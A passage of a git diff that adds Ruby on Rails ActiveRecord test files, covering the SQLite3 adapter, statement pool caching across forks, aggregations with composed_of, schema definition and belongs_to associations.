+ assert_logged([[sql, name, []]]) do
+ @conn.select_rows sql, name
+ end
+ end
+
+ def test_transaction
+ count_sql = 'select count(*) from items'
+
+ @conn.begin_db_transaction
+ @conn.create "INSERT INTO items (number) VALUES (10)"
+
+ assert_equal 1, @conn.select_rows(count_sql).first.first
+ @conn.rollback_db_transaction
+ assert_equal 0, @conn.select_rows(count_sql).first.first
+ end
+
+ def test_tables
+ assert_equal %w{ items }, @conn.tables
+
+ @conn.execute <<-eosql
+ CREATE TABLE people (
+ id integer PRIMARY KEY AUTOINCREMENT,
+ number integer
+ )
+ eosql
+ assert_equal %w{ items people }.sort, @conn.tables.sort
+ end
+
+ def test_tables_logs_name
+ assert_logged [['SCHEMA', []]] do
+ @conn.tables('hello')
+ assert_not_nil @conn.logged.first.shift
+ end
+ end
+
+ def test_indexes_logs_name
+ assert_logged [["PRAGMA index_list(\"items\")", 'SCHEMA', []]] do
+ @conn.indexes('items', 'hello')
+ end
+ end
+
+ def test_table_exists_logs_name
+ assert @conn.table_exists?('items')
+ assert_equal 'SCHEMA', @conn.logged[0][1]
+ end
+
+ def test_columns
+ columns = @conn.columns('items').sort_by { |x| x.name }
+ assert_equal 2, columns.length
+ assert_equal %w{ id number }.sort, columns.map { |x| x.name }
+ assert_equal [nil, nil], columns.map { |x| x.default }
+ assert_equal [true, true], columns.map { |x| x.null }
+ end
+
+ def test_columns_with_default
+ @conn.execute <<-eosql
+ CREATE TABLE columns_with_default (
+ id integer PRIMARY KEY AUTOINCREMENT,
+ number integer default 10
+ )
+ eosql
+ column = @conn.columns('columns_with_default').find { |x|
+ x.name == 'number'
+ }
+ assert_equal 10, column.default
+ end
+
+ def test_columns_with_not_null
+ @conn.execute <<-eosql
+ CREATE TABLE columns_with_default (
+ id integer PRIMARY KEY AUTOINCREMENT,
+ number integer not null
+ )
+ eosql
+ column = @conn.columns('columns_with_default').find { |x|
+ x.name == 'number'
+ }
+ assert !column.null, "column should not be null"
+ end
+
+ def test_indexes_logs
+ assert_difference('@conn.logged.length') do
+ @conn.indexes('items')
+ end
+ assert_match(/items/, @conn.logged.last.first)
+ end
+
+ def test_no_indexes
+ assert_equal [], @conn.indexes('items')
+ end
+
+ def test_index
+ @conn.add_index 'items', 'id', :unique => true, :name => 'fun'
+ index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
+
+ assert_equal 'items', index.table
+ assert index.unique, 'index is unique'
+ assert_equal ['id'], index.columns
+ end
+
+ def test_non_unique_index
+ @conn.add_index 'items', 'id', :name => 'fun'
+ index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
+ assert !index.unique, 'index is not unique'
+ end
+
+ def test_compound_index
+ @conn.add_index 'items', %w{ id number }, :name => 'fun'
+ index = @conn.indexes('items').find { |idx| idx.name == 'fun' }
+ assert_equal %w{ id number }.sort, index.columns.sort
+ end
+
+ def test_primary_key
+ assert_equal 'id', @conn.primary_key('items')
+
+ @conn.execute <<-eosql
+ CREATE TABLE foos (
+ internet integer PRIMARY KEY AUTOINCREMENT,
+ number integer not null
+ )
+ eosql
+ assert_equal 'internet', @conn.primary_key('foos')
+ end
+
+ def test_no_primary_key
+ @conn.execute 'CREATE TABLE failboat (number integer not null)'
+ assert_nil @conn.primary_key('failboat')
+ end
+
+ private
+
+ def assert_logged logs
+ yield
+ assert_equal logs, @conn.logged
+ end
+
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
new file mode 100644
index 0000000..2f04c60
--- /dev/null
+++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
@@ -0,0 +1,24 @@
+require 'cases/helper'
+
+module ActiveRecord::ConnectionAdapters
+ class SQLite3Adapter
+ class StatementPoolTest < ActiveRecord::TestCase
+ def test_cache_is_per_pid
+ return skip('must support fork') unless Process.respond_to?(:fork)
+
+ cache = StatementPool.new nil, 10
+ cache['foo'] = 'bar'
+ assert_equal 'bar', cache['foo']
+
+ pid = fork {
+ lookup = cache['foo'];
+ exit!(!lookup)
+ }
+
+ Process.waitpid pid
+ assert $?.success?, 'process should exit successfully'
+ end
+ end
+ end
+end
+
diff --git a/activerecord/test/cases/aggregations_test.rb b/activerecord/test/cases/aggregations_test.rb
new file mode 100644
index 0000000..5536702
--- /dev/null
+++ b/activerecord/test/cases/aggregations_test.rb
@@ -0,0 +1,158 @@
+require "cases/helper"
+require 'models/customer'
+
+class AggregationsTest < ActiveRecord::TestCase
+ fixtures :customers
+
+ def test_find_single_value_object
+ assert_equal 50, customers(:david).balance.amount
+ assert_kind_of Money, customers(:david).balance
+ assert_equal 300, customers(:david).balance.exchange_to("DKK").amount
+ end
+
+ def test_find_multiple_value_object
+ assert_equal customers(:david).address_street, customers(:david).address.street
+ assert(
+ customers(:david).address.close_to?(Address.new("Different Street", customers(:david).address_city, customers(:david).address_country))
+ )
+ end
+
+ def test_change_single_value_object
+ customers(:david).balance = Money.new(100)
+ customers(:david).save
+ assert_equal 100, customers(:david).reload.balance.amount
+ end
+
+ def test_immutable_value_objects
+ customers(:david).balance = Money.new(100)
+ assert_raise(RuntimeError) { customers(:david).balance.instance_eval { @amount = 20 } }
+ end
+
+ def test_inferred_mapping
+ assert_equal "35.544623640962634", customers(:david).gps_location.latitude
+ assert_equal "-105.9309951055148", customers(:david).gps_location.longitude
+
+ customers(:david).gps_location = GpsLocation.new("39x-110")
+
+ assert_equal "39", customers(:david).gps_location.latitude
+ assert_equal "-110", customers(:david).gps_location.longitude
+
+ customers(:david).save
+
+ customers(:david).reload
+
+ assert_equal "39", customers(:david).gps_location.latitude
+ assert_equal "-110", customers(:david).gps_location.longitude
+ end
+
+ def test_reloaded_instance_refreshes_aggregations
+ assert_equal "35.544623640962634", customers(:david).gps_location.latitude
+ assert_equal "-105.9309951055148", customers(:david).gps_location.longitude
+
+ Customer.update_all("gps_location = '24x113'")
+ customers(:david).reload
+ assert_equal '24x113', customers(:david)['gps_location']
+
+ assert_equal GpsLocation.new('24x113'), customers(:david).gps_location
+ end
+
+ def test_gps_equality
+ assert_equal GpsLocation.new('39x110'), GpsLocation.new('39x110')
+ end
+
+ def test_gps_inequality
+ assert_not_equal GpsLocation.new('39x110'), GpsLocation.new('39x111')
+ end
+
+ def test_allow_nil_gps_is_nil
+ assert_nil customers(:zaphod).gps_location
+ end
+
+ def test_allow_nil_gps_set_to_nil
+ customers(:david).gps_location = nil
+ customers(:david).save
+ customers(:david).reload
+ assert_nil customers(:david).gps_location
+ end
+
+ def test_allow_nil_set_address_attributes_to_nil
+ customers(:zaphod).address = nil
+ assert_nil customers(:zaphod).attributes[:address_street]
+ assert_nil customers(:zaphod).attributes[:address_city]
+ assert_nil customers(:zaphod).attributes[:address_country]
+ end
+
+ def test_allow_nil_address_set_to_nil
+ customers(:zaphod).address = nil
+ customers(:zaphod).save
+ customers(:zaphod).reload
+ assert_nil customers(:zaphod).address
+ end
+
+ def test_nil_raises_error_when_allow_nil_is_false
+ assert_raise(NoMethodError) { customers(:david).balance = nil }
+ end
+
+ def test_allow_nil_address_loaded_when_only_some_attributes_are_nil
+ customers(:zaphod).address_street = nil
+ customers(:zaphod).save
+ customers(:zaphod).reload
+ assert_kind_of Address, customers(:zaphod).address
+ assert_nil customers(:zaphod).address.street
+ end
+
+ def test_nil_assignment_results_in_nil
+ customers(:david).gps_location = GpsLocation.new('39x111')
+ assert_not_nil customers(:david).gps_location
+ customers(:david).gps_location = nil
+ assert_nil customers(:david).gps_location
+ end
+
+ def test_nil_return_from_converter_is_respected_when_allow_nil_is_true
+ customers(:david).non_blank_gps_location = ""
+ customers(:david).save
+ customers(:david).reload
+ assert_nil customers(:david).non_blank_gps_location
+ ensure
+ Customer.gps_conversion_was_run = nil
+ end
+
+ def test_nil_return_from_converter_results_in_failure_when_allow_nil_is_false
+ assert_raises(NoMethodError) do
+ customers(:barney).gps_location = ""
+ end
+ end
+
+ def test_do_not_run_the_converter_when_nil_was_set
+ customers(:david).non_blank_gps_location = nil
+ assert_nil Customer.gps_conversion_was_run
+ end
+
+ def test_custom_constructor
+ assert_equal 'Barney GUMBLE', customers(:barney).fullname.to_s
+ assert_kind_of Fullname, customers(:barney).fullname
+ end
+
+ def test_custom_converter
+ customers(:barney).fullname = 'Barnoit Gumbleau'
+ assert_equal 'Barnoit GUMBLEAU', customers(:barney).fullname.to_s
+ assert_kind_of Fullname, customers(:barney).fullname
+ end
+end
+
+class OverridingAggregationsTest < ActiveRecord::TestCase
+ class DifferentName; end
+
+ class Person < ActiveRecord::Base
+ composed_of :composed_of, :mapping => %w(person_first_name first_name)
+ end
+
+ class DifferentPerson < Person
+ composed_of :composed_of, :class_name => 'DifferentName', :mapping => %w(different_person_first_name first_name)
+ end
+
+ def test_composed_of_aggregation_redefinition_reflections_should_differ_and_not_inherited
+ assert_not_equal Person.reflect_on_aggregation(:composed_of),
+ DifferentPerson.reflect_on_aggregation(:composed_of)
+ end
+end
diff --git a/activerecord/test/cases/ar_schema_test.rb b/activerecord/test/cases/ar_schema_test.rb
new file mode 100644
index 0000000..244e0b7
--- /dev/null
+++ b/activerecord/test/cases/ar_schema_test.rb
@@ -0,0 +1,50 @@
+require "cases/helper"
+
+if ActiveRecord::Base.connection.supports_migrations?
+
+ class ActiveRecordSchemaTest < ActiveRecord::TestCase
+ self.use_transactional_fixtures = false
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ ActiveRecord::SchemaMigration.drop_table
+ end
+
+ def teardown
+ @connection.drop_table :fruits rescue nil
+ ActiveRecord::SchemaMigration.delete_all rescue nil
+ end
+
+ def test_schema_define
+ ActiveRecord::Schema.define(:version => 7) do
+ create_table :fruits do |t|
+ t.column :color, :string
+ t.column :fruit_size, :string # NOTE: "size" is reserved in Oracle
+ t.column :texture, :string
+ t.column :flavor, :string
+ end
+ end
+
+ assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
+ assert_nothing_raised { @connection.select_all "SELECT * FROM schema_migrations" }
+ assert_equal 7, ActiveRecord::Migrator::current_version
+ end
+
+ def test_schema_raises_an_error_for_invalid_column_type
+ assert_raise NoMethodError do
+ ActiveRecord::Schema.define(:version => 8) do
+ create_table :vegetables do |t|
+ t.unknown :color
+ end
+ end
+ end
+ end
+
+ def test_schema_subclass
+ Class.new(ActiveRecord::Schema).define(:version => 9) do
+ create_table :fruits
+ end
+ assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
+ end
+ end
+end
diff --git a/activerecord/test/cases/associations/association_scope_test.rb b/activerecord/test/cases/associations/association_scope_test.rb
new file mode 100644
index 0000000..d386482
--- /dev/null
+++ b/activerecord/test/cases/associations/association_scope_test.rb
@@ -0,0 +1,15 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/author'
+
+module ActiveRecord
+ module Associations
+ class AssociationScopeTest < ActiveRecord::TestCase
+ test 'does not duplicate conditions' do
+ association_scope = AssociationScope.new(Author.new.association(:welcome_posts))
+ wheres = association_scope.scope.where_values.map(&:right)
+ assert_equal wheres.uniq, wheres
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
new file mode 100644
index 0000000..f531695
--- /dev/null
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -0,0 +1,771 @@
+require "cases/helper"
+require 'models/developer'
+require 'models/project'
+require 'models/company'
+require 'models/topic'
+require 'models/reply'
+require 'models/computer'
+require 'models/post'
+require 'models/author'
+require 'models/tag'
+require 'models/tagging'
+require 'models/comment'
+require 'models/sponsor'
+require 'models/member'
+require 'models/essay'
+require 'models/toy'
+
+class BelongsToAssociationsTest < ActiveRecord::TestCase
+ fixtures :accounts, :companies, :developers, :projects, :topics,
+ :developers_projects, :computers, :authors, :author_addresses,
+ :posts, :tags, :taggings, :comments, :sponsors, :members
+
+ def test_belongs_to
+ firm = Client.find(3).firm
+ assert_not_nil firm
+ assert_equal companies(:first_firm).name, firm.name
+ end
+
+ def test_belongs_to_with_primary_key
+ client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name)
+ assert_equal companies(:first_firm).name, client.firm_with_primary_key.name
+ end
+
+ def test_belongs_to_with_primary_key_joins_on_correct_column
+ sql = Client.joins(:firm_with_primary_key).to_sql
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ assert_no_match(/`firm_with_primary_keys_companies`\.`id`/, sql)
+ assert_match(/`firm_with_primary_keys_companies`\.`name`/, sql)
+ elsif current_adapter?(:OracleAdapter)
+ # on Oracle aliases are truncated to 30 characters and are quoted in uppercase
+ assert_no_match(/"firm_with_primary_keys_compani"\."id"/i, sql)
+ assert_match(/"firm_with_primary_keys_compani"\."name"/i, sql)
+ else
+ assert_no_match(/"firm_with_primary_keys_companies"\."id"/, sql)
+ assert_match(/"firm_with_primary_keys_companies"\."name"/, sql)
+ end
+ end
+
+ def test_proxy_assignment
+ account = Account.find(1)
+ assert_nothing_raised { account.firm = account.firm }
+ end
+
+ def test_type_mismatch
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { Account.find(1).firm = 1 }
+ assert_raise(ActiveRecord::AssociationTypeMismatch) { Account.find(1).firm = Project.find(1) }
+ end
+
+ def test_natural_assignment
+ apple = Firm.create("name" => "Apple")
+ citibank = Account.create("credit_limit" => 10)
+ citibank.firm = apple
+ assert_equal apple.id, citibank.firm_id
+ end
+
+ def test_id_assignment
+ apple = Firm.create("name" => "Apple")
+ citibank = Account.create("credit_limit" => 10)
+ citibank.firm_id = apple
+ assert_nil citibank.firm_id
+ end
+
+ def test_natural_assignment_with_primary_key
+ apple = Firm.create("name" => "Apple")
+ citibank = Client.create("name" => "Primary key client")
+ citibank.firm_with_primary_key = apple
+ assert_equal apple.name, citibank.firm_name
+ end
+
+ def test_eager_loading_with_primary_key
+ Firm.create("name" => "Apple")
+ Client.create("name" => "Citibank", :firm_name => "Apple")
+ citibank_result = Client.all.merge!(:where => {:name => "Citibank"}, :includes => :firm_with_primary_key).first
+ assert citibank_result.association_cache.key?(:firm_with_primary_key)
+ end
+
+ def test_eager_loading_with_primary_key_as_symbol
+ Firm.create("name" => "Apple")
+ Client.create("name" => "Citibank", :firm_name => "Apple")
+ citibank_result = Client.all.merge!(:where => {:name => "Citibank"}, :includes => :firm_with_primary_key_symbols).first
+ assert citibank_result.association_cache.key?(:firm_with_primary_key_symbols)
+ end
+
+ def test_creating_the_belonging_object
+ citibank = Account.create("credit_limit" => 10)
+ apple = citibank.create_firm("name" => "Apple")
+ assert_equal apple, citibank.firm
+ citibank.save
+ citibank.reload
+ assert_equal apple, citibank.firm
+ end
+
+ def test_creating_the_belonging_object_with_primary_key
+ client = Client.create(:name => "Primary key client")
+ apple = client.create_firm_with_primary_key("name" => "Apple")
+ assert_equal apple, client.firm_with_primary_key
+ client.save
+ client.reload
+ assert_equal apple, client.firm_with_primary_key
+ end
+
+ def test_building_the_belonging_object
+ citibank = Account.create("credit_limit" => 10)
+ apple = citibank.build_firm("name" => "Apple")
+ citibank.save
+ assert_equal apple.id, citibank.firm_id
+ end
+
+ def test_building_the_belonging_object_with_implicit_sti_base_class
+ account = Account.new
+ company = account.build_firm
+ assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+ end
+
+ def test_building_the_belonging_object_with_explicit_sti_base_class
+ account = Account.new
+ company = account.build_firm(:type => "Company")
+ assert_kind_of Company, company, "Expected #{company.class} to be a Company"
+ end
+
+ def test_building_the_belonging_object_with_sti_subclass
+ account = Account.new
+ company = account.build_firm(:type => "Firm")
+ assert_kind_of Firm, company, "Expected #{company.class} to be a Firm"
+ end
+
+ def test_building_the_belonging_object_with_an_invalid_type
+ account = Account.new
+ assert_raise(ActiveRecord::SubclassNotFound) { account.build_firm(:type => "InvalidType") }
+ end
+
+ def test_building_the_belonging_object_with_an_unrelated_type
+ account = Account.new
+ assert_raise(ActiveRecord::SubclassNotFound) { account.build_firm(:type => "Account") }
+ end
+
+ def test_building_the_belonging_object_with_primary_key
+ client = Client.create(:name => "Primary key client")
+ apple = client.build_firm_with_primary_key("name" => "Apple")
+ client.save
+ assert_equal apple.name, client.firm_name
+ end
+
+ def test_create!
+ client = Client.create!(:name => "Jimmy")
+ account = client.create_account!(:credit_limit => 10)
+ assert_equal account, client.account
+ assert account.persisted?
+ client.save
+ client.reload
+ assert_equal account, client.account
+ end
+
+ def test_failing_create!
+ client = Client.create!(:name => "Jimmy")
+ assert_raise(ActiveRecord::RecordInvalid) { client.create_account! }
+ assert_not_nil client.account
+ assert client.account.new_record?
+ end
+
+ def test_natural_assignment_to_nil
+ client = Client.find(3)
+ client.firm = nil
+ client.save
+ assert_nil client.firm(true)
+ assert_nil client.client_of
+ end
+
+ def test_natural_assignment_to_nil_with_primary_key
+ client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name)
+ client.firm_with_primary_key = nil
+ client.save
+ assert_nil client.firm_with_primary_key(true)
+ assert_nil client.client_of
+ end
+
+ def test_with_different_class_name
+ assert_equal Company.find(1).name, Company.find(3).firm_with_other_name.name
+ assert_not_nil Company.find(3).firm_with_other_name, "Microsoft should have a firm"
+ end
+
+ def test_with_condition
+ assert_equal Company.find(1).name, Company.find(3).firm_with_condition.name
+ assert_not_nil Company.find(3).firm_with_condition, "Microsoft should have a firm"
+ end
+
+ def test_polymorphic_association_class
+ sponsor = Sponsor.new
+ assert_nil sponsor.association(:sponsorable).send(:klass)
+
+ sponsor.sponsorable_type = '' # the column doesn't have to be declared NOT NULL
+ assert_nil sponsor.association(:sponsorable).send(:klass)
+
+ sponsor.sponsorable = Member.new :name => "Bert"
+ assert_equal Member, sponsor.association(:sponsorable).send(:klass)
+ assert_equal "members", sponsor.association(:sponsorable).aliased_table_name
+ end
+
+ def test_with_polymorphic_and_condition
+ sponsor = Sponsor.create
+ member = Member.create :name => "Bert"
+ sponsor.sponsorable = member
+
+ assert_equal member, sponsor.sponsorable
+ assert_nil sponsor.sponsorable_with_conditions
+ end
+
+ def test_with_select
+ assert_equal 1, Company.find(2).firm_with_select.attributes.size
+ assert_equal 1, Company.all.merge!(:includes => :firm_with_select ).find(2).firm_with_select.attributes.size
+ end
+
+ def test_belongs_to_counter
+ debate = Topic.create("title" => "debate")
+ assert_equal 0, debate.send(:read_attribute, "replies_count"), "No replies yet"
+
+ trash = debate.replies.create("title" => "blah!", "content" => "world around!")
+ assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply created"
+
+ trash.destroy
+ assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply deleted"
+ end
+
+ def test_belongs_to_counter_with_assigning_nil
+ post = Post.find(1)
+ comment = Comment.find(1)
+
+ assert_equal post.id, comment.post_id
+ assert_equal 2, Post.find(post.id).comments.size
+
+ comment.post = nil
+
+ assert_equal 1, Post.find(post.id).comments.size
+ end
+
+ def test_belongs_to_with_primary_key_counter
+ debate = Topic.create("title" => "debate")
+ debate2 = Topic.create("title" => "debate2")
+ reply = Reply.create("title" => "blah!", "content" => "world around!", "parent_title" => "debate")
+
+ assert_equal 1, debate.reload.replies_count
+ assert_equal 0, debate2.reload.replies_count
+
+ reply.topic_with_primary_key = debate2
+
+ assert_equal 0, debate.reload.replies_count
+ assert_equal 1, debate2.reload.replies_count
+
+ reply.topic_with_primary_key = nil
+
+ assert_equal 0, debate.reload.replies_count
+ assert_equal 0, debate2.reload.replies_count
+ end
+
+ def test_belongs_to_counter_with_reassigning
+ topic1 = Topic.create("title" => "t1")
+ topic2 = Topic.create("title" => "t2")
+ reply1 = Reply.new("title" => "r1", "content" => "r1")
+ reply1.topic = topic1
+
+ assert reply1.save
+ assert_equal 1, Topic.find(topic1.id).replies.size
+ assert_equal 0, Topic.find(topic2.id).replies.size
+
+ reply1.topic = Topic.find(topic2.id)
+
+ assert_no_queries do
+ reply1.topic = topic2
+ end
+
+ assert reply1.save
+ assert_equal 0, Topic.find(topic1.id).replies.size
+ assert_equal 1, Topic.find(topic2.id).replies.size
+
+ reply1.topic = nil
+
+ assert_equal 0, Topic.find(topic1.id).replies.size
+ assert_equal 0, Topic.find(topic2.id).replies.size
+
+ reply1.topic = topic1
+
+ assert_equal 1, Topic.find(topic1.id).replies.size
+ assert_equal 0, Topic.find(topic2.id).replies.size
+
+ reply1.destroy
+
+ assert_equal 0, Topic.find(topic1.id).replies.size
+ assert_equal 0, Topic.find(topic2.id).replies.size
+ end
+
+ def test_belongs_to_reassign_with_namespaced_models_and_counters
+ topic1 = Web::Topic.create("title" => "t1")
+ topic2 = Web::Topic.create("title" => "t2")
+ reply1 = Web::Reply.new("title" => "r1", "content" => "r1")
+ reply1.topic = topic1
+
+ assert reply1.save
+ assert_equal 1, Web::Topic.find(topic1.id).replies.size
+ assert_equal 0, Web::Topic.find(topic2.id).replies.size
+
+ reply1.topic = Web::Topic.find(topic2.id)
+
+ assert reply1.save
+ assert_equal 0, Web::Topic.find(topic1.id).replies.size
+ assert_equal 1, Web::Topic.find(topic2.id).replies.size
+ end
+
+ def test_belongs_to_counter_after_save
+ topic = Topic.create!(:title => "monday night")
+ topic.replies.create!(:title => "re: monday night", :content => "football")
+ assert_equal 1, Topic.find(topic.id)[:replies_count]
+
+ topic.save!
+ assert_equal 1, Topic.find(topic.id)[:replies_count]
+ end
+
+ def test_belongs_to_counter_after_update
+ topic = Topic.create!(title: "37s")
+ topic.replies.create!(title: "re: 37s", content: "rails")
+ assert_equal 1, Topic.find(topic.id)[:replies_count]
+
+ topic.update(title: "37signals")
+ assert_equal 1, Topic.find(topic.id)[:replies_count]
+ end
+
+ def test_belongs_to_counter_when_update_columns
+ topic = Topic.create!(:title => "37s")
+ topic.replies.create!(:title => "re: 37s", :content => "rails")
+ assert_equal 1, Topic.find(topic.id)[:replies_count]
+
+ topic.update_columns(content: "rails is wonderfull")
+ assert_equal 1, Topic.find(topic.id)[:replies_count]
+ end
+
+ def test_assignment_before_child_saved
+ final_cut = Client.new("name" => "Final Cut")
+ firm = Firm.find(1)
+ final_cut.firm = firm
+ assert !final_cut.persisted?
+ assert final_cut.save
+ assert final_cut.persisted?
+ assert firm.persisted?
+ assert_equal firm, final_cut.firm
+ assert_equal firm, final_cut.firm(true)
+ end
+
+ def test_assignment_before_child_saved_with_primary_key
+ final_cut = Client.new("name" => "Final Cut")
+ firm = Firm.find(1)
+ final_cut.firm_with_primary_key = firm
+ assert !final_cut.persisted?
+ assert final_cut.save
+ assert final_cut.persisted?
+ assert firm.persisted?
+ assert_equal firm, final_cut.firm_with_primary_key
+ assert_equal firm, final_cut.firm_with_primary_key(true)
+ end
+
+ def test_new_record_with_foreign_key_but_no_object
+ client = Client.new("firm_id" => 1)
+ # sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
+ assert_equal Firm.all.merge!(:order => "id").first, client.firm_with_basic_id
+ end
+
+ def test_setting_foreign_key_after_nil_target_loaded
+ client = Client.new
+ client.firm_with_basic_id
+ client.firm_id = 1
+
+ assert_equal companies(:first_firm), client.firm_with_basic_id
+ end
+
+ def test_polymorphic_setting_foreign_key_after_nil_target_loaded
+ sponsor = Sponsor.new
+ sponsor.sponsorable
+ sponsor.sponsorable_id = 1
+ sponsor.sponsorable_type = "Member"
+
+ assert_equal members(:groucho), sponsor.sponsorable
+ end
+
+ def test_dont_find_target_when_foreign_key_is_null
+ tagging = taggings(:thinking_general)
+ queries = assert_sql { tagging.super_tag }
+ assert_equal 0, queries.length
+ end
+
+ def test_field_name_same_as_foreign_key
+ computer = Computer.find(1)
+ assert_not_nil computer.developer, ":foreign key == attribute didn't lock up" # '
+ end
+
+ def test_counter_cache
+ topic = Topic.create :title => "Zoom-zoom-zoom"
+ assert_equal 0, topic[:replies_count]
+
+ reply = Reply.create(:title => "re: zoom", :content => "speedy quick!")
+ reply.topic = topic
+
+ assert_equal 1, topic.reload[:replies_count]
+ assert_equal 1, topic.replies.size
+
+ topic[:replies_count] = 15
+ assert_equal 15, topic.replies.size
+ end
+
+ def test_custom_counter_cache
+ reply = Reply.create(:title => "re: zoom", :content => "speedy quick!")
+ assert_equal 0, reply[:replies_count]
+
+ silly = SillyReply.create(:title => "gaga", :content => "boo-boo")
+ silly.reply = reply
+
+ assert_equal 1, reply.reload[:replies_count]
+ assert_equal 1, reply.replies.size
+
+ reply[:replies_count] = 17
+ assert_equal 17, reply.replies.size
+ end
+
+ def test_association_assignment_sticks
+ post = Post.first
+
+ author1, author2 = Author.all.merge!(:limit => 2).to_a
+ assert_not_nil author1
+ assert_not_nil author2
+
+ # make sure the association is loaded
+ post.author
+
+ # set the association by id, directly
+ post.author_id = author2.id
+
+ # save and reload
+ post.save!
+ post.reload
+
+ # the author id of the post should be the id we set
+ assert_equal post.author_id, author2.id
+ end
+
+ def test_cant_save_readonly_association
+ assert_raise(ActiveRecord::ReadOnlyRecord) { companies(:first_client).readonly_firm.save! }
+ assert companies(:first_client).readonly_firm.readonly?
+ end
+
+ def test_polymorphic_assignment_foreign_type_field_updating
+ # should update when assigning a saved record
+ sponsor = Sponsor.new
+ member = Member.create
+ sponsor.sponsorable = member
+ assert_equal "Member", sponsor.sponsorable_type
+
+ # should update when assigning a new record
+ sponsor = Sponsor.new
+ member = Member.new
+ sponsor.sponsorable = member
+ assert_equal "Member", sponsor.sponsorable_type
+ end
+
+ def test_polymorphic_assignment_with_primary_key_foreign_type_field_updating
+ # should update when assigning a saved record
+ essay = Essay.new
+ writer = Author.create(:name => "David")
+ essay.writer = writer
+ assert_equal "Author", essay.writer_type
+
+ # should update when assigning a new record
+ essay = Essay.new
+ writer = Author.new
+ essay.writer = writer
+ assert_equal "Author", essay.writer_type
+ end
+
+ def test_polymorphic_assignment_updates_foreign_id_field_for_new_and_saved_records
+ sponsor = Sponsor.new
+ saved_member = Member.create
+ new_member = Member.new
+
+ sponsor.sponsorable = saved_member
+ assert_equal saved_member.id, sponsor.sponsorable_id
+
+ sponsor.sponsorable = new_member
+ assert_nil sponsor.sponsorable_id
+ end
+
+ def test_assignment_updates_foreign_id_field_for_new_and_saved_records
+ client = Client.new
+ saved_firm = Firm.create :name => "Saved"
+ new_firm = Firm.new
+
+ client.firm = saved_firm
+ assert_equal saved_firm.id, client.client_of
+
+ client.firm = new_firm
+ assert_nil client.client_of
+ end
+
+ def test_polymorphic_assignment_with_primary_key_updates_foreign_id_field_for_new_and_saved_records
+ essay = Essay.new
+ saved_writer = Author.create(:name => "David")
+ new_writer = Author.new
+
+ essay.writer = saved_writer
+ assert_equal saved_writer.name, essay.writer_id
+
+ essay.writer = new_writer
+ assert_nil essay.writer_id
+ end
+
+ def test_belongs_to_proxy_should_not_respond_to_private_methods
+ assert_raise(NoMethodError) { companies(:first_firm).private_method }
+ assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
+ end
+
+ def test_belongs_to_proxy_should_respond_to_private_methods_via_send
+ companies(:first_firm).send(:private_method)
+ companies(:second_client).firm.send(:private_method)
+ end
+
+ def test_save_of_record_with_loaded_belongs_to
+ @account = companies(:first_firm).account
+
+ assert_nothing_raised do
+ Account.find(@account.id).save!
+ Account.all.merge!(:includes => :firm).find(@account.id).save!
+ end
+
+ @account.firm.delete
+
+ assert_nothing_raised do
+ Account.find(@account.id).save!
+ Account.all.merge!(:includes => :firm).find(@account.id).save!
+ end
+ end
+
+ def test_dependent_delete_and_destroy_with_belongs_to
+ author_address = author_addresses(:david_address)
+ author_address_extra = author_addresses(:david_address_extra)
+ assert_equal [], AuthorAddress.destroyed_author_address_ids
+
+ assert_difference "AuthorAddress.count", -2 do
+ authors(:david).destroy
+ end
+
+ assert_equal [], AuthorAddress.where(id: [author_address.id, author_address_extra.id])
+ assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids
+ end
+
+ def test_invalid_belongs_to_dependent_option_nullify_raises_exception
+ assert_raise ArgumentError do
+ Class.new(Author).belongs_to :special_author_address, :dependent => :nullify
+ end
+ end
+
+ def test_invalid_belongs_to_dependent_option_restrict_raises_exception
+ assert_raise ArgumentError do
+ Class.new(Author).belongs_to :special_author_address, :dependent => :restrict
+ end
+ end
+
+ def test_attributes_are_being_set_when_initialized_from_belongs_to_association_with_where_clause
+ new_firm = accounts(:signals37).build_firm(:name => 'Apple')
+ assert_equal new_firm.name, "Apple"
+ end
+
+ def test_attributes_are_set_without_error_when_initialized_from_belongs_to_association_with_array_in_where_clause
+ new_account = Account.where(:credit_limit => [ 50, 60 ]).new
+ assert_nil new_account.credit_limit
+ end
+
+ def test_reassigning_the_parent_id_updates_the_object
+ client = companies(:second_client)
+
+ client.firm
+ client.firm_with_condition
+ firm_proxy = client.send(:association_instance_get, :firm)
+ firm_with_condition_proxy = client.send(:association_instance_get, :firm_with_condition)
+
+ assert !firm_proxy.stale_target?
+ assert !firm_with_condition_proxy.stale_target?
+ assert_equal companies(:first_firm), client.firm
+ assert_equal companies(:first_firm), client.firm_with_condition
+
+ client.client_of = companies(:another_firm).id
+
+ assert firm_proxy.stale_target?
+ assert firm_with_condition_proxy.stale_target?
+ assert_equal companies(:another_firm), client.firm
+ assert_equal companies(:another_firm), client.firm_with_condition
+ end
+
+ def test_polymorphic_reassignment_of_associated_id_updates_the_object
+ sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+
+ sponsor.sponsorable
+ proxy = sponsor.send(:association_instance_get, :sponsorable)
+
+ assert !proxy.stale_target?
+ assert_equal members(:groucho), sponsor.sponsorable
+
+ sponsor.sponsorable_id = members(:some_other_guy).id
+
+ assert proxy.stale_target?
+ assert_equal members(:some_other_guy), sponsor.sponsorable
+ end
+
+ def test_polymorphic_reassignment_of_associated_type_updates_the_object
+ sponsor = sponsors(:moustache_club_sponsor_for_groucho)
